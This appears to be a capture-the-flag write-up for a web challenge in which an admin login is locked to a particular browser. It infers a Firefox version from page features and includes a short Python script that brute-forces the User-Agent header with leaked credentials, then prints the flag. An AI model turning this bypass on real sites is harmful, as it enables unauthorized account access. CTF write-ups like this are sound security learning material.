sbva (web)
You're presented with a login-protected website and given admin credentials to it (admin@oooverflow.io:admin
). However, the website is advertised as being able to stop attackers "even when the admin's credentials are leaked". And indeed, after logging in you are immediately redirected...
HTTP/1.1 302 Found
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 14 May 2018 14:02:23 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Security-Policy: upgrade-insecure-requests
Location: wrongbrowser.php
Content-Length: 259
<html>
<style scoped>
h1 {color:red;}
p {color:blue;}
</style>
<video id="v" autoplay> </video>
<script>
if (navigator.battery.charging) {
console.log("Device is charging.")
}
</script>
</html>
...to wrongbrowser.php
:
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 14 May 2018 14:02:24 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 30
Incompatible browser detected.
Evidently, the website is detecting the admin's browser as an additional layer of protection. To find out if it's using the User-Agent
header to identify the admin, we first try to omit the header completely. With a missing UA we get...
<br />
<b>Notice</b>: Undefined index: HTTP_USER_AGENT in <b>/var/www/html/browsertest.php</b> on line <b>3</b><br />
... so some processing of the UA seems to take place.
In order to narrow down what UA the admin may be using, let's have a look at the distinct features the redirecting page is using:
The most notable here seems to be <style scoped>
which has only been ever inplemented in Firefox 21-54. Also, upgrade-insecure-requests
has been available in Firefox since version 42 and navigator.battery
was removed in Firefox 50 in favor of the navigator.getBattery()
API.
So, we're left with brute-forcing user-agents of Firefox between 42 and 49 with a simple Python script:
import requests
import time
URL = 'http://0da57cd5.quals2018.oooverflow.io/login.php'
for version in range(42, 50):
user_agent = 'Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/%d.0' % version
r = requests.post(
URL,
data={'username': 'admin@oooverflow.io', 'password': 'admin'},
headers={'User-Agent': user_agent}
)
if "Incompatible" not in r.text:
print(r.text)
This immediately hits at Firefox 42 and we receive the flag:
OOO{0ld@dm1nbr0wser1sth30nlyw@y}